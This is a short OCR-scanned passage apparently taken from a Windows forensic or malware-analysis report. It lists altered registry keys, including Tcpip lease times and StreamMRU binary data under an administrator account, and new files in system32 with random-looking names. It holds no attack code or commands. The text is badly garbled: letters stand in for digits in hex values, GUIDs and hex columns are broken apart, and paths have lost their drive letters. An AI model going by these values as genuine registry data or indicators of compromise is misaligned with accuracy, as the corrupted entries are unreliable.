BO9AA3534AD2C} \Parameters\Tcpip\Tl: 0x40CCBE23
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE1l-
B9AA3534AD2C} \Parameters\Tcpip\Tl: 0x40CCC1lA7
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE11l~-
BY9AA3534AD2C} \Parameters\Tcpip\T2: 0x40CCCOC6
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE11-
BO9AA3534AD2C} \Parameters\Tcpip\T2: 0x40CCC44A
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AEl1l~
BO9AA3534AD2C} \Parameters\Tcpip\LeaseTerminatesTime: 0x40CCC1A7
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE11-
BO9AA3534AD2C} \Parameters\Tcpip\LeaseTerminatesTime: 0x40CCC52B
HKEY USERS\S-1-5-21-527237240-329068152-839522115-

500\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\MRUListEx:

17 00 00 00 08 00 00 00 OO OO 00 00 18 00 00 00 OB 00 00 00 01 OO0 OO0 00 16
00 00 10 00 0O 00 14 00 00 00 OF 00 OO0 00O OE 00 00 00 11 00 00 00 12 00 0O
0D 00 00 00 OA 00 00 00 09 00 00 00 O6 00 00 0O 07 0O 00 0O 02 00 00 00 05
00 00 03 00 00 00 FF FF FF FF

HKEY USERS\S-1-5-21-527237240-329068152-839522115-

500\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\MRUListEX:

0C 00 00 00
00 00 15 00
13 00 00 00
00 00 04 00

17
00
0D
00

00
00
00
00

00
10
00
03

00
00
00
00

08 00 00 00 00 00 00 00 18 00 00 00 OB 00 00 00 O1
00 00 14 00 00 00 OF 00 00 00 OE 00 00 00 11 00 00
OA 00 00 00 09 00 00 00 06 00 00 00 07 00 00 00 02
00 00 FF FF FF FF

:\WINNT\system32\rasaccs.dll
:\WINNT\system32\1lnvkjf.log

c\WINNT\system32\wuyi.log

C
C
C:\WINNT\system32\SET15F. tmp
C
C

:\WINNT\system32\fgosse.log

:\WINNT\system32\config\software.LOG
:\WINNT\system32\config\SYSTEM.ALT

:\WINNT\system32\config\SOFTWARE
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